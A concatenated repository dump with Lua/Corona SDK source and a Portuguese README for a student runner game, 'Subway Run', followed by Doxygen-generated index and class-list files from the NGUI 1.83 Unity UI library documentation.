spriteInstance.x = _POSITION_PERSON_CENTER
spriteInstance.y = _H - 40
sceneGroup:insert(spriteInstance)
spriteInstance:setSequence("idleUp")
local multiplo = 4
function checkSwipeDirection()
local distance = endSwipeX - beginSwipeX
if distance < 0 then
if (math.floor(spriteInstance.x) == math.floor(_POSITION_PERSON_CENTER)) then
transition.to( spriteInstance, { x = _POSITION_PERSON_LEFT, time=400 } )
elseif (math.floor(spriteInstance.x) == math.floor(_POSITION_PERSON_RIGHT)) then
transition.to( spriteInstance, { x = _POSITION_PERSON_CENTER, time=400 } )
end
elseif distance > 0 then
if (math.floor(spriteInstance.x) == math.floor(_POSITION_PERSON_LEFT)) then
transition.to( spriteInstance, { x = _POSITION_PERSON_CENTER, time=400 } )
elseif (math.floor(spriteInstance.x) == math.floor(_POSITION_PERSON_CENTER)) then
transition.to( spriteInstance, { x = _POSITION_PERSON_RIGHT, time=400 } )
end
else
print("Apenas clicou")
end
end
local swipe = function (event)
if event.phase == "began" then
beginSwipeX = event.x
end
if event.phase == "ended" then
endSwipeX = event.x
checkSwipeDirection()
end
end
function getPositionSprit()
local positionX = math.floor(spriteInstance.x)
if (math.floor(_POSITION_PERSON_RIGHT) == positionX) then
return RIGHT;
elseif (math.floor(_POSITION_PERSON_LEFT) == positionX) then
return LEFT;
else
return CENTER;
end
end
function fnMoveMoeda11(object, colision, multiplo)
print("Sprint", getPositionSprit())
print("Moeda", colision)
if (getPositionSprit() == colision) then
object.isVisible = false
capturaMoeda(object, colision, multiplo)
else
print("Nãop Pegou")
transition.to(object, { time=TIMER, y = _H - 150 })
end
end
function fnMoveMoeda10(object, colision, multiplo)
object.x = object.x - multiplo
transition.to(object, {
time=TIMER,
y = _H - 210,
onComplete = function(object)
fnMoveMoeda11(object, colision, multiplo)
end
})
end
function fnMoveMoeda9(object, colision, multiplo)
object.x = object.x - multiplo
transition.to(object, {
time=TIMER,
y = _H - 240,
onComplete = function(object)
fnMoveMoeda10(object, colision, multiplo)
end
})
end
function fnMoveMoeda8(object, colision, multiplo)
object.x = object.x - multiplo
transition.to(object, {
time = TIMER,
y = _H - 270,
onComplete = function(object)
fnMoveMoeda9(object, colision, multiplo)
end
})
end
function fnMoveMoeda7(object, colision, multiplo)
object.x = object.x - multiplo
transition.to(object, {
time = TIMER,
y = _H - 300,
onComplete = function(object)
fnMoveMoeda8(object, colision, multiplo)
end
})
end
function fnMoveMoeda6(object, colision, multiplo)
object.x = object.x - multiplo
transition.to(object, {
time=TIMER,
y = _H - 330,
onComplete = function(object)
fnMoveMoeda7(object, colision, multiplo)
end
})
end
function fnMoveMoeda5(object, colision, multiplo)
object.x = object.x - multiplo
transition.to(object, {
time=TIMER,
y = _H - 360,
onComplete = function(object)
fnMoveMoeda6(object, colision, multiplo)
end
})
end
function fnMoveMoeda4(object, colision, multiplo)
object.x = object.x - multiplo
transition.to(object, {
time=TIMER,
y = _H - 390,
onComplete = function (object)
fnMoveMoeda5(object, colision, multiplo)
end
})
end
function fnMoveMoeda3(object, colision, multiplo)
object.x = object.x - multiplo
transition.to(object, {
time=TIMER,
y = _H - 420,
onComplete = function (object)
fnMoveMoeda4(object, colision, multiplo)
end
})
end
function fnMoveMoeda2(object, colision, multiplo)
object.x = object.x - multiplo
transition.to(object, {
time=TIMER,
y = _H - 450,
onComplete = function(object)
fnMoveMoeda3(object, colision, multiplo)
end
})
end
function fnMoveMoeda1(object, colision, multiplo)
object.x = object.x - multiplo
transition.to(object, {
time=TIMER,
y = _H - 480,
onComplete = function(object)
fnMoveMoeda2(object, colision, multiplo)
end
})
end
function load(object, colision, multiplo)
object.x = object.x - multiplo
transition.to(object, {
time=TIMER,
y = _H - 510,
onComplete = function(object)
fnMoveMoeda1(object, colision, multiplo)
end
})
end
function createMoeda(position, tipo)
local objectMoeda = display.newImage( "images/moeda.png" )
objectMoeda.myName = tipo
objectMoeda.x = position
objectMoeda.y = _H - 540
objectMoeda.path.x1 = 190
objectMoeda.path.x2 = 190
objectMoeda.path.x3 = 190
objectMoeda.path.x4 = 190
objectMoeda.path.y1 = 190
objectMoeda.path.y2 = 190
objectMoeda.path.y3 = 190
objectMoeda.path.y4 = 190
if (tipo == _MOEDA_TIPO_MONOTONE) then
objectMoeda.fill.effect = "filter.monotone"
objectMoeda.fill.effect.r = 1
objectMoeda.fill.effect.g = 0.2
objectMoeda.fill.effect.b = 0
objectMoeda.fill.effect.a = 1
elseif (tipo == _MOEDA_TIPO_INVALIDA) then
objectMoeda.fill.effect = "filter.monotone"
end
return objectMoeda
end
function addTimeCreateMoeda:timer( event )
local sorteio = math.random(3)
local sorteio2 = math.random(3)
local tipoMoeda = _MOEDA_TIPO_NORMAL
if (sorteio2 == 2) then
tipoMoeda =_MOEDA_TIPO_MONOTONE
elseif (sorteio2 == 3) then
tipoMoeda =_MOEDA_TIPO_INVALIDA
end
local position = {}
local colision = {}
if (sorteio == 1) then
local moeda = createMoeda(_MOEDA_LEFT, tipoMoeda)
load(moeda, LEFT, 7)
sceneGroup:insert(moeda)
elseif (sorteio == 2) then
local moeda = createMoeda(_MOEDA_CENTER, tipoMoeda)
load(moeda, CENTER, 4)
sceneGroup:insert(moeda)
else
local moeda = createMoeda(_MOEDA_RIGHT, tipoMoeda)
load(moeda, RIGHT, 0)
sceneGroup:insert(moeda)
end
end
function setData()
composer.setVariable( "timer", countPoints )
composer.setVariable( "quantEstrelaNormal", countEstrelaPoints )
composer.setVariable( "quantEstrela", countEstrelaPoints2 )
end
timerPontuacao = timer.performWithDelay( 1000, addTimePontuacao, 0 )
timeCreateMoeda = timer.performWithDelay( 3000, addTimeCreateMoeda, 0 )
Runtime:addEventListener("touch", swipe)
end
function scene:show( event )
local sceneGroup = self.view
local phase = event.phase
if ( phase == "will" ) then
elseif ( phase == "did" ) then
end
end
function scene:hide( event )
local sceneGroup = self.view
local phase = event.phase
if ( event.phase == "will" ) then
elseif ( phase == "did" ) then
end
end
function scene:destroy( event )
local sceneGroup = self.view
end
scene:addEventListener( "create", scene )
scene:addEventListener( "show", scene )
scene:addEventListener( "hide", scene )
scene:addEventListener( "destroy", scene )
return scene<file_sep>--[[
@author <NAME>
]]
display.setStatusBar (display.HiddenStatusBar)
local composer = require( "composer" )
composer.gotoScene( "menu", "fade", 800 )<file_sep>function createMessage( message, x, y )
local textObject = display.newText( message, 0, 0, native.systemFontBold, 24 )
textObject:setFillColor( 1,1,1 )
local group = display.newGroup()
group.x = x
group.y = y
group:insert( textObject, true )
local r = 10
local roundedRect = display.newRoundedRect( 0, 0, textObject.contentWidth + 2*r, textObject.contentHeight + 2*r, r )
group:insert( 1, roundedRect, true )
group.textObject = textObject
return group
end<file_sep># Subway Run
Desenvolvido para Trabalho de Estágio 1 - FA7

## Sumário
* [Enredo](#enredo)
* [Objetivo Geral](#objetivo-geral)
* [Objetivos Específicos](#objetivos-específicos)
* [Tecnologias Utilizadas](#tecnologias-utilizadas)
# Enredo
Subway Run é um jogo móvel de uma corrida interminável. Onde o personagem "Gaara" tem que correr pelos metrôs das cidades coletando itens e desviando dos obstáculos. Esses itens serviram para aumentar a pontuação do jogador quando ele perder na fase. Além de poder liberar novos itens para personalizar seu personagem. Ultrapasse seus próprios recordes e fique em primeiro lugar no ranking de pontuação contra seus amigos.
# Objetivo Geral
* Conseguir o maior número de pontos para ficar em primeiro lugar no ranking
# Objetivos Específicos
* Desviar dos obstáculos
* Coleta os itens que aparecem em cada nível do jogo
* Ultrapassar os próprios recordes
* Ultrapassar as pontuações dos seus amigos
* Personalizar seu personagem
# Regras do Jogo
* O jogo acaba quando o jogador esbarra em algum obstáculo ou nas laterais saindo dos trilhos
# Tecnologias Utilizadas
* Lua
* Corona SDK<file_sep>--[[
@author <NAME>
]]
local composer = require( "composer" )
local scene = composer.newScene()
local helper = require( "helper" )
local widget = require( "widget" ) require ( "sqlite3" )
local facebook = require("facebook")
local json = require("json")
function scene:create( event )
local sceneGroup = self.view
local xMin = display.screenOriginX
local yMin = display.screenOriginY
local xMax = display.contentWidth - display.screenOriginX
local yMax = display.contentHeight - display.screenOriginY
local _W = display.contentWidth
local _H = display.contentHeight
local background = display.newImageRect("images/background-pages.jpg", xMax-xMin, yMax-yMin)
background.myName = "ground"
background.x = _W * 0.5
background.y = _H * 0.5
sceneGroup:insert(background)
local titleGame = createMessage( "Subway Run", display.contentWidth * 0.5, 100 )
sceneGroup:insert(titleGame)
-- gatilho para eventos "fbconnect"
local function listener( event )
if ( "session" == event.type ) then
-- depois de um login bem sucedido, requisita a lista de amigos do usuário autenticado
if ( "login" == event.phase ) then
facebook.request( "me/friends" )
end
elseif ( "request" == event.type ) then
local titleGame = createMessage( "Respondendo", display.contentWidth * 0.5, 400 )
local titleGame2 = createMessage( event.type, display.contentWidth * 0.5, 240 )
-- event.response é um objeto JSON do servidor FB
local response = event.response
-- se a requisição é bem sucedida, cria uma lista rolável de nomes de amigos
if ( not event.isError ) then
response = json.decode( event.response )
local titleGame4 = createMessage( "Pegar dados", display.contentWidth * 0.5, 260 )
local data = response.data
local x = 220
local title2 = {}
for i=1,#data do
local name = data[i].name
title56 = createMessage( i, display.contentWidth * 0.5, 250 )
print( name )
local title2 = createMessage( name, display.contentWidth * 0.5, x )
x = x + 20
end
end
elseif ( "dialog" == event.type ) then
print( "dialog", event.response )
end
end
local appId = "896263840455584"
facebook.login( appId, listener )
-- local function onRowRender( event )
-- local row = event.row
-- local rowHeight = row.contentHeight
-- local rowWidth = row.contentWidth
-- local rowTitle = display.newText(row, "Row "..row.index, 0, 0, nil, 14)
-- rowTitle:setFillColor( 0 )
-- rowTitle.anchorX = 0
-- rowTitle.x = 0
-- rowTitle.y = rowHeight * 0.5
-- end
-- local path = system.pathForFile("data.db", system.DocumentsDirectory)
-- local db = sqlite3.open( path )
-- local table_options = {
-- top = 0,
-- onRowRender = onRowRender
-- }
-- local facebook = require "facebook"
-- -- gatilho para eventos "fbconnect"
-- local function listener( event )
-- if ( "session" == event.type ) then
-- -- depois de um login bem sucedido, requisita a
-- --lista de amigos do usuário autenticado
-- if ( "login" == event.phase ) then
-- facebook.request( "me/friends" )
-- end
-- elseif ( "request" == event.type ) then
-- -- event.response é um objeto JSON do servidor FB
-- local response = event.response
-- local titleGame = createMessage( "Respondendo", display.contentWidth * 0.5, 400 )
-- -- se a requisição é bem sucedida, cria uma lista
-- --rolável de nomes de amigos
-- if ( not event.isError ) then
-- response = json.decode( event.response )
-- local data = response.data
-- local x = 200
-- for i=1,#data do
-- local name = data[i].name
-- print( name )
-- local title2 = createMessage( name, display.contentWidth * 0.5, x )
-- x = x + 20
-- end
-- elseif ( "dialog" == event.type ) then
-- local titleGame = createMessage( event.response, display.contentWidth * 0.5, 230 )
-- print( "dialog", event.response )
-- else
-- local titleGame = createMessage( event.type, display.contentWidth * 0.5, 230 )
-- end
-- end
-- local appId = "896263840455584"
-- facebook.login( appId, listener)
-- local tableView = widget.newTableView( table_options )
-- for row in db:nrows("SELECT * FROM test") do
-- local rowParams = {
-- ID = row.id,
-- Name = row.name
-- }
-- tableView:insertRow(
-- {
-- rowHeight = 50,
-- params = rowParams
-- }
-- )
-- end
local btnStartGame = display.newImage( "images/startGame.png" )
btnStartGame.x = display.contentWidth / 2
btnStartGame.y = display.contentHeight / 2
sceneGroup:insert(btnStartGame)
local btnFacebook = display.newImage( "images/face.png" )
btnFacebook.x = display.contentWidth / 2
btnFacebook.y = display.contentHeight - 90
btnFacebook.width = 48
btnFacebook.height = 48
sceneGroup:insert(btnFacebook)
local btnInfo = display.newImage( "images/info.png" )
btnInfo.x = display.contentWidth * 0.8
btnInfo.y = display.contentHeight - 90
btnInfo.width = 48
btnInfo.height = 48
sceneGroup:insert(btnInfo)
local btnHelp = display.newImage( "images/help.png" )
btnHelp.x = display.contentWidth * 0.2
btnHelp.y = display.contentHeight - 90
btnHelp.width = 48
btnHelp.height = 48
sceneGroup:insert(btnHelp)
local centerX = display.contentCenterX
local y = display.contentHeight - 30
local labelStatusConectedFacebook = createMessage( "Não conectado", centerX, y)
sceneGroup:insert(labelStatusConectedFacebook)
-- function listener(event)
-- if ( "session" == event.type ) then
-- statusMessage.textObject.text = event.phase
-- facebook.request( "me" )
-- elseif ( "request" == event.type ) then
-- local response = event.response
-- if ( not event.isError ) then
-- response = json.decode( event.response )
-- statusMessage.textObject.text = response.name
-- else
-- statusMessage.textObject.text = "Desconhecido"
-- end
-- end
-- end
-- function btnFacebook:tap(event)
-- local appId = "896263840455584"
-- facebook.login( appId, listener, {"publish_actions"} )
-- end
function btnStartGame:tap(event)
composer.gotoScene( "game" )
end
function btnInfo:tap(event)
composer.gotoScene( "info" )
end
function btnHelp:tap(event)
composer.gotoScene( "tutorial" )
end
btnStartGame:addEventListener("tap", btnStartGame)
btnInfo:addEventListener("tap", btnInfo)
btnFacebook:addEventListener("tap", btnFacebook)
btnHelp:addEventListener("tap", btnHelp)
end
function scene:show( event )
local sceneGroup = self.view
local phase = event.phase
if phase == "will" then
elseif phase == "did" then
end
end
function scene:hide( event )
local sceneGroup = self.view
local phase = event.phase
if event.phase == "will" then
elseif phase == "did" then
end
end
function scene:destroy( event )
local sceneGroup = self.view
if myImage then
myImage:removeSelf()
myImage = nil
end
end
scene:addEventListener( "create", scene )
scene:addEventListener( "show", scene )
scene:addEventListener( "hide", scene )
scene:addEventListener( "destroy", scene )
return scene<file_sep>--[[
@author <NAME>
]]
local composer = require( "composer" )
local scene = composer.newScene()
local widget = require "widget"
local facebook = require("facebook")
local json = require("json")
local helper = require( "helper" )
function scene:create( event )
local sceneGroup = self.view
local xMin = display.screenOriginX
local yMin = display.screenOriginY
local xMax = display.contentWidth - display.screenOriginX
local yMax = display.contentHeight - display.screenOriginY
local _W = display.contentWidth
local _H = display.contentHeight
local background = display.newImageRect("images/background-pages.jpg", xMax-xMin, yMax-yMin)
background.x = _W * 0.5
background.y = _H * 0.5
sceneGroup:insert(background)
local titleGame = createMessage( "Subway Run", display.contentWidth * 0.5, 40 )
sceneGroup:insert(titleGame)
local centerX = display.contentCenterX
local y = display.contentHeight - 250
local msgGameOver = createMessage( "Game Over", centerX, display.contentHeight * 0.5)
sceneGroup:insert(msgGameOver)
local timer = composer.getVariable( "timer" )
local quantEstrelaNormal = composer.getVariable( "quantEstrelaNormal" )
local quantEstrela = composer.getVariable( "quantEstrela" )
local sumTotal = timer + (quantEstrelaNormal * 5) + (quantEstrela * 10)
local pontuacao = createMessage( "pontuação: "..sumTotal, display.contentWidth * 0.5, 300 )
sceneGroup:insert(pontuacao)
local btnBackPage = display.newImage( "images/play_again.png" )
btnBackPage.x = display.contentWidth * 0.5
btnBackPage.y = display.contentHeight - 40
sceneGroup:insert(btnBackPage)
function btnBackPage:tap()
composer.removeScene( "gameover" )
composer.gotoScene( "game" )
end
btnBackPage:addEventListener("tap", btnBackPage)
end
function scene:show( event )
local sceneGroup = self.view
local phase = event.phase
if phase == "will" then
elseif phase == "did" then
end
end
function scene:hide( event )
local sceneGroup = self.view
local phase = event.phase
if event.phase == "will" then
elseif phase == "did" then
end
end
function scene:destroy( event )
local sceneGroup = self.view
if myImage then
myImage:removeSelf()
myImage = nil
end
end
scene:addEventListener( "create", scene )
scene:addEventListener( "show", scene )
scene:addEventListener( "hide", scene )
scene:addEventListener( "destroy", scene )
return scene
|
afc5a23e0c2bf45a7352aa78dca68365f0c2ec69
|
[
"Markdown",
"Lua"
] | 9 |
Lua
|
fgleilsonf/subway-run
|
50eb4585f13220b07784c0040dd08a7d2cc88337
|
95d82d6adf91b26ee89c740579cf641d5c4d3bb9
|
refs/heads/master
|
<repo_name>GHunique/Unity3D<file_sep>/nguiApi/NGUIDocs/search/functions_68.js
var searchData=
[
['haschanged',['HasChanged',['../d1/db1/class_u_i_node.html#a9e00977230a7d2e85516a9f9fe8664c2',1,'UINode']]],
['hasequipped',['HasEquipped',['../db/ded/class_inv_equipment.html#a61c3c3d9ba4a9bd6ff8bfe03f6f20ee4',1,'InvEquipment.HasEquipped(InvGameItem item)'],['../db/ded/class_inv_equipment.html#a568bc66a35d29830e6b21cc07ee3f974',1,'InvEquipment.HasEquipped(InvBaseItem.Slot slot)']]],
['hextocolor',['HexToColor',['../d0/d11/class_n_g_u_i_math.html#ae0f4fbfbbc7c47d63a03a0efd1cb0067',1,'NGUIMath']]],
['hextodecimal',['HexToDecimal',['../d0/d11/class_n_g_u_i_math.html#ae7be9da2d0f73a8a497696f692ea454c',1,'NGUIMath']]],
['highlightline',['HighlightLine',['../d7/d56/class_n_g_u_i_editor_tools.html#a7807c41d2450801e05319ed7d468f19b',1,'NGUIEditorTools']]]
];
<file_sep>/nguiApi/NGUIDocs/df/dc7/class_u_i_sprite_animation_inspector.js
var class_u_i_sprite_animation_inspector =
[
[ "OnInspectorGUI", "df/dc7/class_u_i_sprite_animation_inspector.html#a42ef6ac059ec801a0016cab25f8aa150", null ]
];<file_sep>/nguiApi/NGUIDocs/d9/db0/class_u_i_button_message.js
var class_u_i_button_message =
[
[ "Trigger", "d9/db0/class_u_i_button_message.html#a55ea171f896d89ca52766e4bb467616a", null ],
[ "functionName", "d9/db0/class_u_i_button_message.html#a8381d03e5c4f789083a22bab4f642b86", null ],
[ "includeChildren", "d9/db0/class_u_i_button_message.html#a4faf3e5cfd5713ade31d68503c796227", null ],
[ "target", "d9/db0/class_u_i_button_message.html#a705362d5adf95134be85955558ff7e18", null ],
[ "trigger", "d9/db0/class_u_i_button_message.html#aaf4c5b423bf37383bffa56c0f64527f1", null ]
];<file_sep>/nguiApi/NGUIDocs/da/deb/class_u_i_panel.js
var class_u_i_panel =
[
[ "DebugInfo", "da/deb/class_u_i_panel.html#a096dd8ef49d00c064bc5ad36dec244b8", null ],
[ "AddWidget", "da/deb/class_u_i_panel.html#a02510f8cd583b505a0a06ca4980dc14a", null ],
[ "CalculateConstrainOffset", "da/deb/class_u_i_panel.html#a6aeed15a514f1f102ba79f6d9c7f7edd", null ],
[ "ConstrainTargetToBounds", "da/deb/class_u_i_panel.html#a30e1b21acea0887de15a7dbea308ab62", null ],
[ "ConstrainTargetToBounds", "da/deb/class_u_i_panel.html#a1b37a77873429dd6f45238bc6f7e8f9e", null ],
[ "Find", "da/deb/class_u_i_panel.html#a63e7b644c6b785575bebcc6bf36c50ca", null ],
[ "Find", "da/deb/class_u_i_panel.html#a6d9cd1ec01aeea62dd8dc8eb1a9dd77b", null ],
[ "IsVisible", "da/deb/class_u_i_panel.html#acb4745cb95664108bfb75e477d543a48", null ],
[ "MarkMaterialAsChanged", "da/deb/class_u_i_panel.html#a59087f7f8971151caa6e55ac76baa5c6", null ],
[ "RemoveWidget", "da/deb/class_u_i_panel.html#a7b4ce31c20c8342160830f72a4011cb5", null ],
[ "UpdateDrawcalls", "da/deb/class_u_i_panel.html#aa29bd6d6f4ce26eea996aac6dad47aea", null ],
[ "WatchesTransform", "da/deb/class_u_i_panel.html#a500e35ef5afd328875b1debbd5fd3e2d", null ],
[ "depthPass", "da/deb/class_u_i_panel.html#a18491df0763530d1092cb8abc16b4ce7", null ],
[ "generateNormals", "da/deb/class_u_i_panel.html#a7cb562cd564108ba84acf209a13b1bbb", null ],
[ "showInPanelTool", "da/deb/class_u_i_panel.html#a0073bc58e06a531f831102b3752b8fe2", null ],
[ "cachedTransform", "da/deb/class_u_i_panel.html#a135a9cecbf479472b302c8399232ce81", null ],
[ "clipping", "da/deb/class_u_i_panel.html#ac9d8fe05897b650cf36d64b6b541be36", null ],
[ "clipRange", "da/deb/class_u_i_panel.html#ae5c9c452fd4b23d544c77f1dd5defca0", null ],
[ "clipSoftness", "da/deb/class_u_i_panel.html#a724d97450cc789f2f5e211499bcce6fa", null ],
[ "debugInfo", "da/deb/class_u_i_panel.html#ac26c62573ebc863f2e1a8274659bc489", null ],
[ "drawCalls", "da/deb/class_u_i_panel.html#a07a93edaaeb66b5d1626fd8e4650ed7b", null ],
[ "widgets", "da/deb/class_u_i_panel.html#a5d0bc1f4ab8c122c07c7b0f8831a2929", null ]
];<file_sep>/nguiApi/NGUIDocs/d5/da7/class_window_drag_tilt.js
var class_window_drag_tilt =
[
[ "degrees", "d5/da7/class_window_drag_tilt.html#a403abc54efad84025602effed9332b7d", null ],
[ "updateOrder", "d5/da7/class_window_drag_tilt.html#a22c0ea1a83c449dc9bb39e579b12fdbf", null ]
];<file_sep>/nguiApi/NGUIDocs/search/properties_6e.js
var searchData=
[
['name',['name',['../d3/dbc/class_inv_game_item.html#aa923a5b7e11545ec108776bb45bd9635',1,'InvGameItem']]],
['nameprefix',['namePrefix',['../d0/de4/class_u_i_sprite_animation.html#a1b3b06151ce86c165604baa2695a8d5b',1,'UISpriteAnimation']]]
];
<file_sep>/nguiApi/NGUIDocs/search/variables_66.js
var searchData=
[
['fallthrough',['fallThrough',['../de/d25/class_u_i_camera.html#a75cb3015ddda622ab7460750f3c6fb88',1,'UICamera']]],
['font',['font',['../d0/dcb/class_u_i_popup_list.html#a53a853af64ef591050b1009f37dfc9f5',1,'UIPopupList']]],
['functionname',['functionName',['../d0/dcb/class_u_i_popup_list.html#a0cf1adfdbb82cfdf4bbbe2b322ab1c73',1,'UIPopupList']]]
];
<file_sep>/nguiApi/NGUIDocs/search/properties_6f.js
var searchData=
[
['observeditem',['observedItem',['../d3/d2f/class_u_i_equipment_slot.html#abe554efd96137fda7991d419624730b3',1,'UIEquipmentSlot.observedItem()'],['../d1/d42/class_u_i_item_slot.html#a26549ae2ba6ad446b7ae40e62e584828',1,'UIItemSlot.observedItem()'],['../da/d0c/class_u_i_storage_slot.html#aec93579af1d46599970cc182b848ae32',1,'UIStorageSlot.observedItem()']]],
['outeruv',['outerUV',['../d1/dc6/class_u_i_sprite.html#aec1cc677d19ebeacd45713650af8365f',1,'UISprite']]]
];
<file_sep>/nguiApi/NGUIDocs/search/classes_77.js
var searchData=
[
['windowautoyaw',['WindowAutoYaw',['../d6/da0/class_window_auto_yaw.html',1,'']]],
['windowdragtilt',['WindowDragTilt',['../d5/da7/class_window_drag_tilt.html',1,'']]]
];
<file_sep>/nguiApi/NGUIDocs/search/variables_76.js
var searchData=
[
['verts',['verts',['../da/dc9/class_u_i_geometry.html#a21faf5d28120b8288b1b3378acee39c1',1,'UIGeometry']]]
];
<file_sep>/nguiApi/NGUIDocs/d5/d1d/class_look_at_target.js
var class_look_at_target =
[
[ "level", "d5/d1d/class_look_at_target.html#adbd37a758246b207498a101c6577a549", null ],
[ "speed", "d5/d1d/class_look_at_target.html#add5cf68fc2042be5079f9dea547390a1", null ],
[ "target", "d5/d1d/class_look_at_target.html#ab4b84682b1ab137028c5790bd6d2eeef", null ]
];<file_sep>/nguiApi/NGUIDocs/d1/dc8/class_u_i_sliced_sprite_inspector.js
var class_u_i_sliced_sprite_inspector =
[
[ "OnDrawProperties", "d1/dc8/class_u_i_sliced_sprite_inspector.html#a1b367898d63032b607df9667b629d8c3", null ],
[ "OnDrawTexture", "d1/dc8/class_u_i_sliced_sprite_inspector.html#abd30720094dc9af1fb6812068e1ed979", null ]
];<file_sep>/nguiApi/NGUIDocs/d7/dfe/class_lag_position.js
var class_lag_position =
[
[ "ignoreTimeScale", "d7/dfe/class_lag_position.html#ab99630c4b2dc1864f89a41fb028897fc", null ],
[ "speed", "d7/dfe/class_lag_position.html#a638b9728da470ab5546d6c742df8155b", null ],
[ "updateOrder", "d7/dfe/class_lag_position.html#acecbc4d62a2a727cd712a09248ba2d4c", null ]
];<file_sep>/nguiApi/NGUIDocs/de/d7b/class_u_i_atlas_maker.js
var class_u_i_atlas_maker =
[
[ "AddOrUpdate", "de/d7b/class_u_i_atlas_maker.html#a463904e7917dd9f61cea998c26c87a18", null ]
];<file_sep>/nguiApi/NGUIDocs/annotated.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/>
<meta http-equiv="X-UA-Compatible" content="IE=9"/>
<title>NGUI: Class List</title>
<link href="tabs.css" rel="stylesheet" type="text/css"/>
<link href="doxygen.css" rel="stylesheet" type="text/css" />
<link href="navtree.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="jquery.js"></script>
<script type="text/javascript" src="resize.js"></script>
<script type="text/javascript" src="navtree.js"></script>
<script type="text/javascript">
$(document).ready(initResizable);
</script>
<link href="search/search.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="search/search.js"></script>
<script type="text/javascript">
$(document).ready(function() { searchBox.OnSelectItem(0); });
</script>
</head>
<body>
<div id="top"><!-- do not remove this div! -->
<div id="titlearea">
<table cellspacing="0" cellpadding="0">
<tbody>
<tr style="height: 56px;">
<td style="padding-left: 0.5em;">
<div id="projectname">NGUI
 <span id="projectnumber">1.83</span>
</div>
</td>
</tr>
</tbody>
</table>
</div>
<!-- Generated by Doxygen 1.8.0 -->
<script type="text/javascript">
var searchBox = new SearchBox("searchBox", "search",false,'Search');
</script>
<div id="navrow1" class="tabs">
<ul class="tablist">
<li><a href="index.html"><span>Main Page</span></a></li>
<li><a href="namespaces.html"><span>Packages</span></a></li>
<li class="current"><a href="annotated.html"><span>Classes</span></a></li>
<li>
<div id="MSearchBox" class="MSearchBoxInactive">
<span class="left">
<img id="MSearchSelect" src="search/mag_sel.png"
onmouseover="return searchBox.OnSearchSelectShow()"
onmouseout="return searchBox.OnSearchSelectHide()"
alt=""/>
<input type="text" id="MSearchField" value="Search" accesskey="S"
onfocus="searchBox.OnSearchFieldFocus(true)"
onblur="searchBox.OnSearchFieldFocus(false)"
onkeyup="searchBox.OnSearchFieldChange(event)"/>
</span><span class="right">
<a id="MSearchClose" href="javascript:searchBox.CloseResultsWindow()"><img id="MSearchCloseImg" border="0" src="search/close.png" alt=""/></a>
</span>
</div>
</li>
</ul>
</div>
<div id="navrow2" class="tabs2">
<ul class="tablist">
<li class="current"><a href="annotated.html"><span>Class List</span></a></li>
<li><a href="classes.html"><span>Class Index</span></a></li>
<li><a href="hierarchy.html"><span>Class Hierarchy</span></a></li>
<li><a href="functions.html"><span>Class Members</span></a></li>
</ul>
</div>
</div>
<div id="side-nav" class="ui-resizable side-nav-resizable">
<div id="nav-tree">
<div id="nav-tree-contents">
</div>
</div>
<div id="splitbar" style="-moz-user-select:none;"
class="ui-resizable-handle">
</div>
</div>
<script type="text/javascript">
initNavTree('annotated.html','');
</script>
<div id="doc-content">
<!-- window showing the filter options -->
<div id="MSearchSelectWindow"
onmouseover="return searchBox.OnSearchSelectShow()"
onmouseout="return searchBox.OnSearchSelectHide()"
onkeydown="return searchBox.OnSearchSelectKey(event)">
<a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(0)"><span class="SelectionMark"> </span>All</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(1)"><span class="SelectionMark"> </span>Classes</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(2)"><span class="SelectionMark"> </span>Namespaces</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(3)"><span class="SelectionMark"> </span>Functions</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(4)"><span class="SelectionMark"> </span>Variables</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(5)"><span class="SelectionMark"> </span>Enumerations</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(6)"><span class="SelectionMark"> </span>Properties</a></div>
<!-- iframe showing the search results (closed by default) -->
<div id="MSearchResultsWindow">
<iframe src="javascript:void(0)" frameborder="0"
name="MSearchResults" id="MSearchResults">
</iframe>
</div>
<div class="header">
<div class="headertitle">
<div class="title">Class List</div> </div>
</div><!--header-->
<div class="contents">
<div class="textblock">Here are the classes, structs, unions and interfaces with brief descriptions:</div><table>
<tr><td class="indexkey"><a class="el" href="d6/d23/class_active_animation.html">ActiveAnimation</a></td><td class="indexvalue">Mainly an internal script used by <a class="el" href="d8/d7e/class_u_i_button_play_animation.html" title="Play the specified animation on click. Sends out the "OnAnimationFinished()" notification to the targ...">UIButtonPlayAnimation</a>, but can also be used to call the specified function on the game object after it finishes animating </td></tr>
<tr><td class="indexkey"><a class="el" href="d8/d01/class_better_list-g.html">BetterList< T ></a></td><td class="indexvalue">This improved version of the List<> doesn't release the buffer on <a class="el" href="d8/d01/class_better_list-g.html#a3fe73e26e4af6730ad5c51262b8defc6" title="Clear the array by resetting its size to zero. Note that the memory is not actually released...">Clear()</a>, resulting in better performance and less garbage collection </td></tr>
<tr><td class="indexkey"><a class="el" href="d0/d6a/class_b_m_font.html">BMFont</a></td><td class="indexvalue"><a class="el" href="d0/d6a/class_b_m_font.html" title="BMFont reader. C# implementation of http://www.angelcode.com/products/bmfont/.">BMFont</a> reader. C# implementation of <a href="http://www.angelcode.com/products/bmfont/">http://www.angelcode.com/products/bmfont/</a> </td></tr>
<tr><td class="indexkey"><a class="el" href="d3/de7/class_b_m_font_reader.html">BMFontReader</a></td><td class="indexvalue">Helper class that takes care of loading <a class="el" href="d0/d6a/class_b_m_font.html" title="BMFont reader. C# implementation of http://www.angelcode.com/products/bmfont/.">BMFont</a>'s glyph information from the specified byte array. This functionality is not a part of <a class="el" href="d0/d6a/class_b_m_font.html" title="BMFont reader. C# implementation of http://www.angelcode.com/products/bmfont/.">BMFont</a> anymore because Flash export option can't handle System.IO functions </td></tr>
